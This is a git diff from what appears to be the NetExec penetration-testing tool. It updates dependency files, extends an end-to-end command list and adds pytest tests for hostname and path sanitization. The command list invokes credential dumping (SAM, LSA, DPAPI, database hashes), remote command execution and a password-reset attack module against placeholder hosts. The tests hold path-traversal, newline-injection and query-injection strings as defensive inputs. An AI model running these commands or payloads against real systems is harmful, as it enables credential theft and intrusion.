resolved_reference = "a2d35007c9717ce791f07efe99db63fd26386661"
resolved_reference = "75938fcb0145b476250940d740f71394676288cb"
[[package]]
name = "iniconfig"
@@ -1190,7 +1169,7 @@ files = [
]
[package.dependencies]
cryptography = ">=3.1,<3.4.0 || >3.4.0"
cryptography = ">=3.1,!=3.4.0"
[package.extras]
dev = ["black", "isort", "mypy", "types-freezegun"]
@@ -1225,7 +1204,7 @@ files = [
[package.dependencies]
dnspython = "*"
ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6"
ldap3 = ">2.5.0,!=2.5.2,!=2.6"
[[package]]
name = "lsassy"
@@ -2453,11 +2432,9 @@ files = [
[package.dependencies]
colorama = {version = "*", markers = "sys_platform == \"win32\""}
exceptiongroup = {version = ">=1.0.0rc8", markers = "python_version < \"3.11\""}
iniconfig = "*"
packaging = "*"
pluggy = ">=0.12,<2.0"
tomli = {version = ">=1.0.0", markers = "python_version < \"3.11\""}
[package.extras]
testing = ["argcomplete", "attrs (>=19.2.0)", "hypothesis (>=3.56)", "mock", "nose", "pygments (>=2.7.2)", "requests", "setuptools", "xmlschema"]
@@ -2606,7 +2583,7 @@ files = [
]
[package.dependencies]
click = ">=6.7,<7.0 || >7.0"
click = ">=6.7,!=7.0"
pip = ">=9.0.3"
setuptools = "*"
@@ -2810,64 +2787,6 @@ files = [
{file = "terminaltables3-4.0.0.tar.gz", hash = "sha256:4e3eefe209aa89005a0a34d1525739424569729ee29b5e64a8dd51c5ebdab77f"},
]
[[package]]
name = "tomli"
version = "2.4.1"
description = "A lil' TOML parser"
optional = false
python-versions = ">=3.8"
groups = ["dev"]
markers = "python_version == \"3.10\""
files = [
{file = "tomli-2.4.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:f8f0fc26ec2cc2b965b7a3b87cd19c5c6b8c5e5f436b984e85f486d652285c30"},
{file = "tomli-2.4.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4ab97e64ccda8756376892c53a72bd1f964e519c77236368527f758fbc36a53a"},
{file = "tomli-2.4.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:96481a5786729fd470164b47cdb3e0e58062a496f455ee41b4403be77cb5a076"},
{file = "tomli-2.4.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5a881ab208c0baf688221f8cecc5401bd291d67e38a1ac884d6736cbcd8247e9"},
{file = "tomli-2.4.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:47149d5bd38761ac8be13a84864bf0b7b70bc051806bc3669ab1cbc56216b23c"},
{file = "tomli-2.4.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ec9bfaf3ad2df51ace80688143a6a4ebc09a248f6ff781a9945e51937008fcbc"},
{file = "tomli-2.4.1-cp311-cp311-win32.whl", hash = "sha256:ff2983983d34813c1aeb0fa89091e76c3a22889ee83ab27c5eeb45100560c049"},
{file = "tomli-2.4.1-cp311-cp311-win_amd64.whl", hash = "sha256:5ee18d9ebdb417e384b58fe414e8d6af9f4e7a0ae761519fb50f721de398dd4e"},
{file = "tomli-2.4.1-cp311-cp311-win_arm64.whl", hash = "sha256:c2541745709bad0264b7d4705ad453b76ccd191e64aa6f0fc66b69a293a45ece"},
{file = "tomli-2.4.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:c742f741d58a28940ce01d58f0ab2ea3ced8b12402f162f4d534dfe18ba1cd6a"},
{file = "tomli-2.4.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:7f86fd587c4ed9dd76f318225e7d9b29cfc5a9d43de44e5754db8d1128487085"},
{file = "tomli-2.4.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ff18e6a727ee0ab0388507b89d1bc6a22b138d1e2fa56d1ad494586d61d2eae9"},
{file = "tomli-2.4.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:136443dbd7e1dee43c68ac2694fde36b2849865fa258d39bf822c10e8068eac5"},
{file = "tomli-2.4.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:5e262d41726bc187e69af7825504c933b6794dc3fbd5945e41a79bb14c31f585"},
{file = "tomli-2.4.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:5cb41aa38891e073ee49d55fbc7839cfdb2bc0e600add13874d048c94aadddd1"},
{file = "tomli-2.4.1-cp312-cp312-win32.whl", hash = "sha256:da25dc3563bff5965356133435b757a795a17b17d01dbc0f42fb32447ddfd917"},
{file = "tomli-2.4.1-cp312-cp312-win_amd64.whl", hash = "sha256:52c8ef851d9a240f11a88c003eacb03c31fc1c9c4ec64a99a0f922b93874fda9"},
{file = "tomli-2.4.1-cp312-cp312-win_arm64.whl", hash = "sha256:f758f1b9299d059cc3f6546ae2af89670cb1c4d48ea29c3cacc4fe7de3058257"},
{file = "tomli-2.4.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:36d2bd2ad5fb9eaddba5226aa02c8ec3fa4f192631e347b3ed28186d43be6b54"},
{file = "tomli-2.4.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:eb0dc4e38e6a1fd579e5d50369aa2e10acfc9cace504579b2faabb478e76941a"},
{file = "tomli-2.4.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c7f2c7f2b9ca6bdeef8f0fa897f8e05085923eb091721675170254cbc5b02897"},
{file = "tomli-2.4.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f3c6818a1a86dd6dca7ddcaaf76947d5ba31aecc28cb1b67009a5877c9a64f3f"},
{file = "tomli-2.4.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d312ef37c91508b0ab2cee7da26ec0b3ed2f03ce12bd87a588d771ae15dcf82d"},
{file = "tomli-2.4.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:51529d40e3ca50046d7606fa99ce3956a617f9b36380da3b7f0dd3dd28e68cb5"},
{file = "tomli-2.4.1-cp313-cp313-win32.whl", hash = "sha256:2190f2e9dd7508d2a90ded5ed369255980a1bcdd58e52f7fe24b8162bf9fedbd"},
{file = "tomli-2.4.1-cp313-cp313-win_amd64.whl", hash = "sha256:8d65a2fbf9d2f8352685bc1364177ee3923d6baf5e7f43ea4959d7d8bc326a36"},
{file = "tomli-2.4.1-cp313-cp313-win_arm64.whl", hash = "sha256:4b605484e43cdc43f0954ddae319fb75f04cc10dd80d830540060ee7cd0243cd"},
{file = "tomli-2.4.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:fd0409a3653af6c147209d267a0e4243f0ae46b011aa978b1080359fddc9b6cf"},
{file = "tomli-2.4.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:a120733b01c45e9a0c34aeef92bf0cf1d56cfe81ed9d47d562f9ed591a9828ac"},
{file = "tomli-2.4.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:559db847dc486944896521f68d8190be1c9e719fced785720d2216fe7022b662"},
{file = "tomli-2.4.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:01f520d4f53ef97964a240a035ec2a869fe1a37dde002b57ebc4417a27ccd853"},
{file = "tomli-2.4.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7f94b27a62cfad8496c8d2513e1a222dd446f095fca8987fceef261225538a15"},
{file = "tomli-2.4.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:ede3e6487c5ef5d28634ba3f31f989030ad6af71edfb0055cbbd14189ff240ba"},
{file = "tomli-2.4.1-cp314-cp314-win32.whl", hash = "sha256:3d48a93ee1c9b79c04bb38772ee1b64dcf18ff43085896ea460ca8dec96f35f6"},
{file = "tomli-2.4.1-cp314-cp314-win_amd64.whl", hash = "sha256:88dceee75c2c63af144e456745e10101eb67361050196b0b6af5d717254dddf7"},
{file = "tomli-2.4.1-cp314-cp314-win_arm64.whl", hash = "sha256:b8c198f8c1805dc42708689ed6864951fd2494f924149d3e4bce7710f8eb5232"},
{file = "tomli-2.4.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:d4d8fe59808a54658fcc0160ecfb1b30f9089906c50b23bcb4c69eddc19ec2b4"},
{file = "tomli-2.4.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7008df2e7655c495dd12d2a4ad038ff878d4ca4b81fccaf82b714e07eae4402c"},
{file = "tomli-2.4.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1d8591993e228b0c930c4bb0db464bdad97b3289fb981255d6c9a41aedc84b2d"},
{file = "tomli-2.4.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:734e20b57ba95624ecf1841e72b53f6e186355e216e5412de414e3c51e5e3c41"},
{file = "tomli-2.4.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8a650c2dbafa08d42e51ba0b62740dae4ecb9338eefa093aa5c78ceb546fcd5c"},
{file = "tomli-2.4.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:504aa796fe0569bb43171066009ead363de03675276d2d121ac1a4572397870f"},
{file = "tomli-2.4.1-cp314-cp314t-win32.whl", hash = "sha256:b1d22e6e9387bf4739fbe23bfa80e93f6b0373a7f1b96c6227c32bef95a4d7a8"},
{file = "tomli-2.4.1-cp314-cp314t-win_amd64.whl", hash = "sha256:2c1c351919aca02858f740c6d33adea0c5deea37f9ecca1cc1ef9e884a619d26"},
{file = "tomli-2.4.1-cp314-cp314t-win_arm64.whl", hash = "sha256:eab21f45c7f66c13f2a9e0e1535309cee140182a9cdae1e041d02e47291e8396"},
{file = "tomli-2.4.1-py3-none-any.whl", hash = "sha256:0d85819802132122da43cb86656f8d1f8c6587d54ae7dcaf30e90533028b49fe"},
{file = "tomli-2.4.1.tar.gz", hash = "sha256:7c7e1a961a0b2f2472c1ac5b69affa0ae1132c39adcb67aba98568702b9cc23f"},
]
[[package]]
name = "tqdm"
version = "4.70.0"
@@ -2895,12 +2814,11 @@ version = "4.16.0"
description = "Backported and Experimental Type Hints for Python 3.9+"
optional = false
python-versions = ">=3.9"
groups = ["main", "dev"]
groups = ["main"]
files = [
{file = "typing_extensions-4.16.0-py3-none-any.whl", hash = "sha256:481caa481374e813c1b176ada14e97f1f67a4539ce9cfeb3f350d78d6370c2e8"},
{file = "typing_extensions-4.16.0.tar.gz", hash = "sha256:dc983d19a509c94dba722ee6abd33940f7c05a89e243c47e907eb4db6f1a43e5"},
]
markers = {dev = "python_version == \"3.10\""}
[[package]]
name = "typing-inspection"
@@ -3041,5 +2959,5 @@ test = ["pytest", "pytest-cov"]
[metadata]
lock-version = "2.1"
python-versions = ">=3.10,<4.0"
content-hash = "11d6b0b792b5f5e7ecb7ed5ba7406f4353f298e4ff154bca15d9a93a0a3fec48"
python-versions = ">=3.11,<4.0"
content-hash = "f3bdd08f336195dcad587423689f837cf2c8cabddf46358bb8a7f279512d4f65"
+5 -9
View File
@@ -3,7 +3,7 @@ name = "netexec"
dynamic = ["version"]
description = "The Network Execution tool"
readme = "README.md"
requires-python = ">=3.10,<4.0"
requires-python = ">=3.11,<4.0"
license = { text = "BSD-2-Clause" }
authors = [
{ name = "Marshall Hallenbeck", email = "[email protected]" },
@@ -17,7 +17,7 @@ classifiers = [
"Topic :: Security"
]
dependencies = [
"aardwolf>=0.2.8",
"aardwolf>=0.2.16",
"argcomplete>=3.1.4",
"asyauth>=0.0.20",
"beautifulsoup4>=4.11,<5",
@@ -47,7 +47,7 @@ dependencies = [
"terminaltables3>=4.0.0",
"xmltodict>=0.13.0",
# Git Dependencies
"certipy-ad @ git+https://github.com/Pennyw0rth/Certipy",
"certipy-nxc>=5.1.0.post1",
"impacket @ git+https://github.com/fortra/impacket",
"pynfsclient @ git+https://github.com/Pennyw0rth/NfsClient",
]
@@ -98,14 +98,10 @@ dev = [
# malicious or compromised releases before they are selected during resolution.
[tool.uv]
exclude-newer = "1 day"
# Temporary: certipy-nxc 5.1.0.post1 was published 2026-10-14, remove once it is older than 1 day
exclude-newer-package = { certipy-nxc = "2026-10-14T17:00:00Z" }
[tool.ruff]
target-version = "py310"
exclude = [
".bzr", ".direnv", ".eggs", ".git", ".git-rewrite", ".hg", ".mypy_cache",
".nox", ".pants.d", ".pytype", ".ruff_cache", ".svn", ".tox", ".venv",
"__pypackages__", "_build", "buck-out", "build", "dist", "node_modules", "venv"
]
preview = true
[tool.ruff.lint]
Binary file not shown.
+11
View File
@@ -221,6 +221,8 @@ netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wifi
##### LDAP
netexec {DNS} ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --simple-bind
netexec ldap TARGET_HOST --pfx-cert TEST_PFX_FILE --schannel
netexec ldap TARGET_HOST --pfx-cert TEST_PFX_FILE --schannel --port 636
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --users
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --users-export /tmp/userlistOutputFilename.txt
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --groups
@@ -240,10 +242,12 @@ netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --dc-list
##### LDAP Modules
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -L
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M adcs
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M certipy-find
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M daclread -o TARGET=LOGIN_USERNAME ACTION=read
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dns-nonsecure
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-desc-users
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-info-users
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M tombstone
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-network
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M groupmembership -o USER=LOGIN_USERNAME
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M laps
@@ -268,6 +272,7 @@ netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-
#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=remove DEVICE_ID=SHADOW_CREDS_DEVICE_ID
# resetnightmare resets a real account password with no restore and needs a controlled account with GenericWrite on its UPN + an unpatched DC, run manually, not in CI
#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M resetnightmare -o TARGET=TARGET_ACCOUNT NEW_PASSWORD=Password123! UPN_USER=CONTROLLED_ACCOUNT UPN_PASSWORD=Password1
#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M resetnightmare -o TARGET=TARGET_ACCOUNT NEW_PASSWORD=Password123! UPN_USER=CONTROLLED_ACCOUNT UPN_NTHASH=31d6cfe0d16ae931b73c59d7e0c089c0
##### WINRM
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig
@@ -306,6 +311,8 @@ netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --databas
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --lsa
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --dpapi
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --db-hash
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --list-backups
##### MSSQL PowerShell
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32
@@ -349,6 +356,10 @@ netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --nla-scree
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --screenshot
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x "echo nxc-rdp-exec"
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x "echo alpha^&beta"
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X "Write-Output 'nxc-rdp-exec'"
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x "echo nxc-rdp-no-output" --no-output
##### SSH - Default test passwords and random key; switch these out if you want correct authentication
netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD
netexec ssh TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce
+2
View File
@@ -32,6 +32,7 @@ def get_cli_args():
parser.add_argument("--test-password-file", required=False, default=normpath(join(script_dir, "data", "test_passwords.txt")), help="Path to the file containing test passwords")
parser.add_argument("--amsi-bypass-file", required=False, default=normpath(join(script_dir, "data", "test_amsi_bypass.txt")), help="Path to the file containing AMSI bypasses")
parser.add_argument("--test-normal-file", required=False, default=normpath(join(script_dir, "data", "test_file.txt")), help="Path to file to upload/download")
parser.add_argument("--test-pfx-file", required=False, default=normpath(join(script_dir, "data", "test_cert.pfx")), help="Path to the PFX certificate for certificate authentication")
parser.add_argument("--dns-server", action="store", required=False, help="Specify DNS server")
return parser.parse_args()
@@ -99,6 +100,7 @@ def replace_command(args, line):
.replace("TEST_PASSWORD_FILE", args.test_password_file)\
.replace("AMSI_BYPASS_FILE", args.amsi_bypass_file)\
.replace("TEST_NORMAL_FILE", args.test_normal_file)\
.replace("TEST_PFX_FILE", args.test_pfx_file)\
.replace("{DNS}", dns_server)\
.replace("/tmp", TMP_PATH)
if args.poetry:
+445
View File
@@ -0,0 +1,445 @@
import ntpath
from importlib.util import module_from_spec, spec_from_file_location
from pathlib import Path, PureWindowsPath
import re
from types import SimpleNamespace
from unicodedata import normalize
from unittest.mock import patch
import pytest
from impacket import ntlm
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from nxc.helpers.bloodhound import _add_with_domain, _add_without_domain
from nxc.helpers.misc import sanitize_dns
from nxc.helpers.negotiate_parser import parse_challenge
from nxc.helpers.path import sanitize_path_component
from nxc.parsers.ldap_results import parse_result_attributes
class Logger:
def __init__(self):
self.messages = []
self.extra = {}
def fail(self, message):
self.messages.append(message)
def debug(self, message):
self.messages.append(message)
def highlight(self, message):
self.messages.append(message)
def display(self, message):
self.messages.append(message)
def success(self, message):
self.messages.append(message)
def error(self, message):
self.messages.append(message)
class RaisingLogger:
def fail(self, message):
raise RuntimeError(message)
class Unstringable:
def __str__(self):
raise ValueError
class Challenge:
fields = {}
def __getitem__(self, key):
return {"TargetInfoFields": b"x", "TargetInfoFields_len": 1}[key]
class AVPairs:
def __init__(self, pairs):
self.pairs = pairs
def __getitem__(self, key):
return self.pairs.get(key)
class QueryResult:
def __init__(self, data):
self.result = data
def data(self):
return self.result
class Transaction:
def __init__(self, responses):
self.responses = responses
self.calls = []
def run(self, query, **parameters):
self.calls.append((query, parameters))
return QueryResult(self.responses.pop(0))
class SMBItem:
def __init__(self, name, directory=False):
self.name = name
self.directory = directory
def get_longname(self):
return self.name
def is_directory(self):
return self.directory
class SMBConnection:
def __init__(self, name):
self.item = SMBItem(name)
self.remote_path = None
def listPath(self, share, path):
return [self.item]
def getFile(self, share, remote_path, callback, shareAccessMode=None):
self.remote_path = remote_path
callback(b"content")
class RecursiveSMBConnection:
def __init__(self):
self.remote_path = None
def listPath(self, share, path):
if path == ntpath.join("root", "*"):
return [SMBItem(r"C:\outside", directory=True)]
return [SMBItem("proof.txt")]
def getFile(self, share, remote_path, callback, shareAccessMode=None):
self.remote_path = remote_path
callback(b"content")
class EnumerationSMBConnection:
def getSMBServer(self):
return SimpleNamespace(get_socket=lambda: SimpleNamespace(getsockname=lambda: ("192.0.2.10", 445)))
def login(self, username, password):
return None
def getServerDNSHostName(self):
return "HOST/../../evil.example"
def getServerName(self):
return "NETBIOS"
def getServerDNSDomainName(self):
return "example\n#injected"
def getServerOS(self):
return "Windows 11"
def getServerOSMajor(self):
return 10
def getServerOSMinor(self):
return 0
def getServerOSBuild(self):
return 26100
def logoff(self):
return None
@pytest.fixture(scope="module")
def smb_class():
spec = spec_from_file_location("sanitize_test_smb_protocol", Path(__file__).parents[1] / "nxc" / "protocols" / "smb.py")
module = module_from_spec(spec)
spec.loader.exec_module(module)
return module.smb
@pytest.mark.parametrize(
"hostname",
[
"server",
"SRV-01",
"3com",
"123",
"host.example.com",
"host_name",
"münchen.example",
"-odd-",
"name$@!%^&(),+~`",
"a" * 253,
],
)
def test_sanitize_dns_preserves_safe_and_noncompliant_names(hostname):
logger = Logger()
assert sanitize_dns(hostname, logger) == hostname
assert logger.messages == []
@pytest.mark.parametrize(
("hostname", "expected"),
[
(None, "_"),
("", "_"),
(".", "_"),
("..", "__"),
("host.", "host_"),
("host name", "host_name"),
("../../pwn", ".._.._pwn"),
(r"..\..\pwn", ".._.._pwn"),
("/tmp/pwn", "_tmp_pwn"),
(r"C:\temp", "C__temp"),
("{output_folder}", "_output_folder_"),
("host\uff0fname", "host_name"),
(b"server", "server"),
],
)
def test_sanitize_dns_returns_safe_strings(hostname, expected):
assert sanitize_dns(hostname, Logger()) == expected
def test_sanitize_dns_replaces_config_and_control_characters():
logger = Logger()
sanitized = sanitize_dns("host name\n\x00\x1b#comment;[section]={value}'\"", logger)
assert sanitized == "host_name____comment__section___value___"
assert len(logger.messages) == 1
assert "\n" not in logger.messages[0]
assert "\x00" not in logger.messages[0]
assert "\x1b" not in logger.messages[0]
assert r"\n" in logger.messages[0]
assert r"\x00" in logger.messages[0]
assert r"\x1b" in logger.messages[0]
@pytest.mark.parametrize("name", ["CON", "NUL.txt", "PRN", "AUX.log", "COM1", "LPT9.txt", "COM¹.txt", "CONIN$", "CONOUT$", "aux.example.com", "com1.example.com", "lpt9.example.com"])
def test_sanitize_dns_preserves_windows_device_names(name):
assert sanitize_dns(name, Logger()) == name
def test_sanitize_dns_bounds_long_values_with_stable_hash():
name = "é" * 200
sanitized = sanitize_dns(name, Logger())
assert len(sanitized.encode("utf-8")) <= 253
assert sanitized == sanitize_dns(name, Logger())
assert sanitized != name
assert len(sanitized.rsplit("_", 1)[1]) == 12
def test_sanitize_dns_replaces_malformed_bytes():
assert sanitize_dns(b"host\xffname", Logger()) == "host_name"
def test_sanitize_dns_always_returns_a_string():
assert sanitize_dns(Unstringable(), Logger()) == "_"
assert sanitize_dns("../host", None) == ".._host"
assert sanitize_dns("../host", RaisingLogger()) == ".._host"
@pytest.mark.parametrize(
"hostname",
["\n", "host\n", "host\x00name", "host\u202ename", "../../x", r"..\..\x", "{output_folder}", "host name", "\uff23\uff2f\uff2e"],
)
def test_sanitize_dns_postconditions(hostname):
sanitized = sanitize_dns(hostname, Logger())
normalized = normalize("NFKC", sanitized)
assert isinstance(sanitized, str)
assert sanitized
assert len(sanitized.encode("utf-8")) <= 253
assert all(character.isprintable() and not character.isspace() for character in sanitized)
assert not any(character in '<>:"/\\|?*{}[]=#;\'' for character in sanitized)
assert all(
normalized_character.isprintable()
and not normalized_character.isspace()
and normalized_character not in '<>:"/\\|?*{}[]=#;\''
for character in sanitized
for normalized_character in normalize("NFKC", character)
)
assert normalized not in (".", "..")
assert not normalized.endswith(".")
assert sanitize_dns(sanitized, Logger()) == sanitized
def test_parse_challenge_keeps_dns_and_netbios_names_distinct():
pairs = AVPairs({
ntlm.NTLMSSP_AV_HOSTNAME: (0, "NETBIOS_NAME".encode("utf-16le")),
ntlm.NTLMSSP_AV_DNS_HOSTNAME: (0, "server.example.com".encode("utf-16le")),
ntlm.NTLMSSP_AV_DNS_DOMAINNAME: (0, "example.com".encode("utf-16le")),
})
with patch("nxc.helpers.negotiate_parser.ntlm.NTLMAuthChallenge", return_value=Challenge()), patch("nxc.helpers.negotiate_parser.ntlm.AV_PAIRS", return_value=pairs):
result = parse_challenge(b"challenge")
assert result["hostname"] == "NETBIOS_NAME"
assert result["dns_hostname"] == "server.example.com"
assert result["domain"] == "example.com"
def test_parse_challenge_handles_missing_names():
with patch("nxc.helpers.negotiate_parser.ntlm.NTLMAuthChallenge", return_value=Challenge()), patch("nxc.helpers.negotiate_parser.ntlm.AV_PAIRS", return_value=AVPairs({})):
result = parse_challenge(b"challenge")
assert result["hostname"] is None
assert result["dns_hostname"] is None
assert result["domain"] is None
def test_ldap_dns_hostname_remains_raw_at_parse_boundary():
entry = ldapasn1_impacket.SearchResultEntry()
entry["objectName"] = ""
entry["attributes"][0]["type"] = "dNSHostName"
entry["attributes"][0]["vals"][0] = "../../evil\n"
result = parse_result_attributes([entry])
assert result == [{"dNSHostName": "../../evil\n"}]
@pytest.mark.parametrize(
("function", "user_info", "domain", "first_result", "expected"),
[
(_add_with_domain, {"username": "HOST' OR 1=1$"}, "EXAMPLE' OR 1=1", [{"c": {"owned": False}}], "HOST' OR 1=1.EXAMPLE' OR 1=1"),
(_add_without_domain, {"username": "USER' OR 1=1"}, None, [{"c": {"owned": False, "name": "USER' OR 1=1@EXAMPLE"}}], "USER' OR 1=1"),
],
)
def test_bloodhound_uses_parameters_for_untrusted_names(function, user_info, domain, first_result, expected):
transaction = Transaction([first_result, [{"name": expected}]])
if domain is None:
function(user_info, transaction, Logger())
else:
function(user_info, domain, transaction, Logger())
assert len(transaction.calls) == 2
assert all(expected not in query for query, _ in transaction.calls)
assert transaction.calls[0][1]["user_owned"] == expected
assert transaction.calls[1][1]["user_owned"] in (expected, "USER' OR 1=1@EXAMPLE")
def test_smb_enum_host_info_sanitizes_remote_names(smb_class):
connection = smb_class.__new__(smb_class)
connection.conn = EnumerationSMBConnection()
connection.host = "192.0.2.10"
connection.hostname = connection.host
connection.domain = None
connection.no_ntlm = False
connection.isdc = False
connection.os_arch = 0
connection.smbv1 = False
connection.kerberos = False
connection.kdcHost = "192.0.2.10"
connection.logger = Logger()
connection.db = SimpleNamespace(add_host=lambda *args: None)
connection.args = SimpleNamespace(generate_hosts_file=None, generate_krb5_file=None, domain=None, use_kcache=False, local_auth=False)
connection.is_host_dc = lambda aggressive_check=False: None
connection._is_signing_required = lambda: False
connection.get_os_arch = lambda: 64
connection.enum_host_info()
assert connection.hostname == "HOST_"
assert connection.targetDomain == "example__injected"
def test_smb_download_sanitizes_only_the_local_path(tmp_path, smb_class):
remote_name = r"..\..\escape.txt"
connection = smb_class.__new__(smb_class)
connection.conn = SMBConnection(remote_name)
connection.logger = Logger()
connection.args = SimpleNamespace(share="SHARE", append_host=False)
connection.download_folder("root", str(tmp_path), silent=True)
assert connection.conn.remote_path == ntpath.join("root", remote_name)
assert (tmp_path / ".._.._escape.txt").read_bytes() == b"content"
assert not (tmp_path.parent / "escape.txt").exists()
def test_smb_download_sanitizes_recursive_directory_components(tmp_path, smb_class):
connection = smb_class.__new__(smb_class)
connection.conn = RecursiveSMBConnection()
connection.logger = Logger()
connection.args = SimpleNamespace(share="SHARE", append_host=False)
connection.download_folder("root", str(tmp_path), recursive=True, silent=True)
assert connection.conn.remote_path == ntpath.join(r"C:\outside", "proof.txt")
assert (tmp_path / "C_" / "outside" / "proof.txt").read_bytes() == b"content"
@pytest.mark.parametrize(
("name", "expected"),
[
("CON", "_CON"),
("NUL.txt", "_NUL.txt"),
("../pwn", ".._pwn"),
(r"..\pwn", ".._pwn"),
("{hostname}", "{hostname}"),
("report{1}.txt", "report{1}.txt"),
("report_1_.txt", "report_1_.txt"),
("report\uff5b1\uff5d.txt", "report\uff5b1\uff5d.txt"),
("host\u202ename", "host_name"),
("münchen.example", "münchen.example"),
("CON .txt", "_CON .txt"),
],
)
def test_sanitize_path_component_handles_cross_platform_names(name, expected):
